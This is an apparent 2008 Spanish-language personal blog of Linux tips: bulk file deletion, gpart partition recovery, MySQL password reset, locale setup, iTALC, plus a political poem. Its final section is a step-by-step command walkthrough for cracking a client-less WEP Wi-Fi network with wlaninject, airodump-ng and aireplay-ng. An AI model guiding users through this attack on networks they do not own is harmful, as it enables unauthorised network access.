domingo, 13 de julio de 2008
Borrar Recursivamente un tipo de Archivos de un solo madrazo
Pues lo que podemos hacer en estos casos es iniciar con un liveCD (De prefe KnopiXXX).
1)Montar la particion que deseemos eliminar los archivitos con chanse de red/write.
mount.ntfs-3g /dev/sda1 /media/WIN -o force
sda1 seria ti particion que quieres montar en ntfs si es fat no es necesario hacer lo deesta manera ya que hay soporte nativo para ese tipo se filesystem y WIN es directory creado con anticipacion.
mount -t vfat /dev/sda1 /media/WIN
2)Ingresar a la ruta donde se encuantra montado el hd
3)ejecutar la siguiente linea
find -name 'Tumbs.db' -exec rm {} \;
Lo qe se encuentra entre comillas simples es el nombre el archivo que se buscara recursivamente en ti dispositivo montado. puedes poner '*.inf' o '*.exe' para generalizar.
Saludos..
How to Recuperar Tabla de particiones Y repararla
Por supuesto, que estamos hablando en casos donde solo se trata de la destrucción de la tabla de particiones, pero no del formateo de las mismas, en este último caso es prácticamente imposible recuperar los datos.
Cuando se trata de la corrupción de la tabla de particiones, existe una herramienta llamada Gpart. Este mágico software hace un escaneo del disco duro y encuentra las particiones por sí mismo sin necesidad de la tabla de particiones, y de paso, lo repara, sí, leyeron bien, vuelve a dejar todo como estaba antes del desastre.
Instrucciones
1) Ingresar con Knoppix
2) Usando Gpart para detectar particiones, lo que puede durar mucho tiempo depende el disco y las particiones (lo he probado en un disco de 20 GB y cuatro particiones, demorando unos 40 minutos aproximadamente)
[root@knoppix root]# gpart /dev/hda
Begin scan...
Possible partition(DOS FAT), size(3999mb), offset(0mb)
Possible extended partition at offset(4000mb)
Possible partition(Windows NTFS), size(3999mb), offset(4000mb)
Possible partition(Linux ext2), size(3072mb), offset(8000mb)
Possible partition(Linux ext2), size(3072mb), offset(11072mb)
Possible partition(Linux ext2), size(3072mb), offset(14144mb)
Possible partition(Linux ext2), size(2353mb), offset(17216mb)
End scan.
Checking partitions...
Partition(DOS or Windows 95 with 32 bit FAT): primary
Partition(OS/2 HPFS, NTFS, QNX or Advanced UNIX): logical
Partition(Linux ext2 filesystem): logical
Partition(Linux ext2 filesystem): logical
Partition(Linux ext2 filesystem): primary
Partition(Linux ext2 filesystem): primary
Ok.
Guessed primary partition table:
Primary partition(1)
type: 011(0x0B)(DOS or Windows 95 with 32 bit FAT)
size: 3999mb #s(8191953) s(63-8192015)
chs: (0/1/1)-(1023/15/63)d (0/1/1)-(8126/15/63)r
Primary partition(2)
type: 005(0x05)(Extended DOS)
size: 10144mb #s(20775888) s(8192016-28967903)
chs: (1023/15/63)-(1023/15/63)d (8127/0/1)-(28737/15/63)r
Primary partition(3)
type: 131(0x83)(Linux ext2 filesystem)
size: 3072mb #s(6291456) s(28967904-35259359)
chs: (1023/15/63)-(1023/15/63)d (28738/0/1)-(34979/8/24)r
Primary partition(4)
type: 131(0x83)(Linux ext2 filesystem)
size: 2353mb #s(4819248) s(35259840-40079087)
chs: (1023/15/63)-(1023/15/63)d (34980/0/1)-(39760/15/63)r
3) Usando Gpart para reparar la tabla de particiones:
gpart -W /dev/hda /dev/hda
4) Listo, ahora solo resta reiniciar la PC y todo volverá a la normalidad.
domingo, 8 de junio de 2008
Cambiar password MYSQL
mysql> UPDATE user SET Password=PASSWORD('passroot') WHERE User='root';
Query OK, 2 rows affected (0.02 sec)
Rows matched: 2 Changed: 2 Warnings: 0
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)
mysql> quit
sábado, 7 de junio de 2008
Por los viejos tiempos que se aproximan.
(Soñar no cuesta nada, construir sí. ¡Levántate es para tu hijo el futuro!)
Cuando sueñes que la vida
vale la pena en serio
no despiertes tan pronto, será el único momento
en que consideres insensato al club de los Suicidas.
Cuando sueñes que la justicia
atiende razón, equidad y rectitud
no despiertes tan pronto, será el único momento
en que ella, volverá a ser virtud.
Cuando sueñes que los hombres
son humanos de verdad
no por taxonomía
sino humanos de verdad
no despiertes tan pronto, será el único momento
que ellas y ellos, juntos construirán.
Cuando sueñes que no eres máquina
hasta el día de tu retiro
no despiertes tan pronto, será el único momento
que volviste a ser motivo
de importancia en la sociedad
que reclama tu experiencia
no para la competencia
sí, para siempre enseñar.
Cuando sueñes que eres socio
de una empresa, tu país
no despiertes tan pronto, será el único momento
en que tu patria deje ser sólo escudo, un himno
y un banderín.
Cuando sueñes que los derechos humanos
no son de humanos de derecha
no despiertes tan pronto, será el único momento
que los izquierdos Humanos,
de Bennedeti sean sólo poema.
Cuando sueñes con la paz
no despiertes tan pronto, será el único momento
que democraticen la oportunidad
sin repartir olvidos, ni leyes de silencio.
Cuando sueñes con la sociedad sensata
que a cambio de misiles, bombarderos y fragatas
los hombres hagan poesía, canción,
justicia y democracia
no despiertes tan pronto, será el único momento
en que querrás disparar versos en ráfagas
proyectiles de fusas, corcheas y medio tiempo
marchando al compás de una cumbia, un tango,
un rock, una polca y un flamenco.
Cuando sueñes que quienes van al parlamento
dan su capacidad, compromiso, quórum y tiempo
no despiertes tan pronto, será el único momento
que dejarás de ser abstencionista.
Cuando sueñes con la objetividad del periodista
no despiertes tan pronto, será el único momento
en que sólo las telefónicas guías
tendrán páginas amarillas.
Y cuando sueñes que tus sueños
no son una utopía,
despierta pronto, será el único y mejor momento
para convocar a quienes como tú sueñan
incluso también a quienes cansados, dejaron de soñar,
despierta pronto
¡Ha llegado la hora de cambiar!
domingo, 4 de mayo de 2008
Cambair idioma GNOME
pues la solucion a este rollo es realizar lo siguiente:
# apt-get install language-env
y
# dpkg-reconfigure locales
ahi aparesera una pantalla donde seleccionaremos el lenguaje que a nosotros nos convenga
saludos
sábado, 3 de mayo de 2008
iTALC: Sistema de control de aulas GPL
iTALC es una herramienta muy interesante, por ejemplo para control de aulas por parte del profesor, que permite ver y controlar ordenadores en una red de varias formas.
Soporta Linux y Windows 2000/XP/Vista. Además puede ser usado de forma transparente en entornos mixtos.
iTALC es GPL. Lo que significa que además de ser gratuito, el código fuente está disponible para que podamos adaptarlo a nuestras necesidades.
Características:
iTALC ha sido diseñado para ser usado en escuelas. Además, ofrece muchas posibilidades a los profesores, como por ejemplo:
- Ver qué se está haciendo en laboratorios de ordenadores y creando instantáneas.
- Control remoto de ordenadores para dar soporte y ayuda a alguien.
- Mostrar una demo en pantalla completa o en una ventana. La pantalla del profesor se muestra a todos los ordenadores de los estudiantes en tiempo real.
- Bloquear estaciones de trabajo para no permitir el uso de los ordenadores en determinados momentos que se deba atraer la atención del profesor.
- Enviar mensajes de texto a los estudiantes.
- Encendido, apagado y reinicio remoto de ordenadores.
- Conexión remota a equipos, así como ejecución remota de comandos/scripts.
- home-schooling - La tecnología de red de iTALC no está restringida a una subred, y los estudiantes pueden unirse a clases via conexión VPN, instalando un cliente iTALC.
Por defecto, el interfaz de usuario de iTALC está en inglés. No obstante, cuando iTALC se inicia, comprueba el idioma del entorno e intenta cargar la localización apropiada, para que el usuario pueda ver la aplicación en su propio idioma.
Si alguien se anima a colaborar en el proceso de localización de esta aplicación, el proceso está descrito en:
http://italc.sourceforge.net/wiki/index.php?title=Creating_a_localization.
Además, hay una lista de desarrollo:
http://italc.sourceforge.net/mailinglists.php
Para más información, recomiendo visitar la web del proyecto:
http://italc.sourceforge.net/
WLANInject: Una herramienta para inyección de tráfico en una red wifi sin clientes
En redes wifi hay dos tipos de ataques:
- Ataques pasivos. Mediante este tipo de ataques nos limitamos a capturar tráfico de la red víctima.
- Ataques activos. Utilizamos técnicas de inyección de tráfico para generar el tráfico que necesitamos.
El problema mas común que nos encontramos en el ataque a una red WiFi con clave WEP es que no haya clientes en ella, con lo que al no haber tráfico podemos tardar muchos días en capturar el tráfico necesario para descubrir la clave WEP.
El único inconveniente es que tenemos que tener:
- Dos tarjetas de red: Una en modo managed para inyectar tráfico y otra en modo monitor para capturar tráfico.
- O bien dos máquinas, una que capture tráfico y otra que lo inyecte.
- O si tenemos un chipset atheros, podemos clonar la interface y crear una para inyectar y otra para capturar.
Vamos a explicar como hacerlo sobre Ubuntu 7.04 :
- Primero descargamos Wlaninject 0.6
- Descomprimimos Wlaninject escribiendo en consola y en el directorio donde está el archivo comprimido:
- Instalamos dependencias necesarias para la compilación, para lo que ejecutamos en consola:
sudo apt-get install -y libnet0 libnet1 libnet1-dev libpcap0.7 libpcap0.7-dev libpcap0.8 aircrack-ng
- Entramos en la carpeta que acabamos de descomprimir y compilamos e instalamos el programa:
cd wlaninject-0.6
make
sudo make install
COMO USAR WLANINYECT (sacado de www.makeandinstall.com)
- Lo primero es unirnos a la red encriptada que queremos atacar con la primera tarjeta de red WiFi, para lo que tendremos que suponer el rango de IP que usa (esto es de vital importancia, ya que si no acertamos el ataque no valdrá de nada). Los rangos más comunes son 192.168.1.X y 192.168.0.X (tambien podemos mirar que rango usa por defecto el router que estamos atacando). Por lo tanto vamos a unirnos a la red suponiendo que tiene un rango 192.168.1.X y que nuestra interface es ath0, para lo que escribimos:
sudo iwconfig ath0 channel CANAL
sudo iwconfig ath0 essid NOMBREDELARED
sudo iwconfig ath0 ap MAC_DEL_PUNTO_DE_ACCESO
sudo iwconfig ath0 key s:AAAAAAAAAAAAA
sudo ifconfig ath0 192.168.1.250 up
- El siguiente proceso es variable dependiendo de si tenemos buena señal o mala, para saber los rates disponibles a los que podemos conectar (las velocidades de transmision) escribimos el siguiente código:
iwlist ath0 rate
- Suponiendo que nos ha devuelto un rate bajo, como 1M, vamos a obligar a que la conexion se efectúe a ese rate, escribiendo:
sudo iwconfig ath0 rate 1M
- Ahora, y antes de utilizar WlanInyect, ponemos a capturar paquetes a Airodump-ng y ponemos Aireplay-ng a la escucha del paquete ARP que se va a generar para que lo inyecte, para lo que escribimos:
sudo airodump-ng -c CANAL -w ARCHIVOGUARDAIV ath1
sudo aireplay-ng -4 -b MACDELPUNTODEACCESO -f1 ath1
- Ponemos a trabajar a WlanInject:
wlaninject -e NOMBREDELARED -b MACDELPUNTODEACCESO -i ath0
En el ejemplo, hemos usado:
- wlaninject con la interface ath0 (la que hemos puesto en modo managed)
- Y aireplay-ng con la interface ath1 (la que hemos puesto en modo monitor)
Recordemos que también podríamos usar dos máquinas. Una es la que inyecta tráfico (en la que pondríamos la interfaz de red en modo managed) y la otra es la que captura tráfico (pondríamos su interfaz de red en modo monitor).
Ahora solo nos queda esperar a que Aireplay detecte el paquete ARP generado y pulsar Y para que lo inyecte, La orden que debemos ejecutar para que aireplay se ponga a la escucha es:
sudo aireplay-ng -4 -b MACDELPUNTODEACCESO -f1 ath1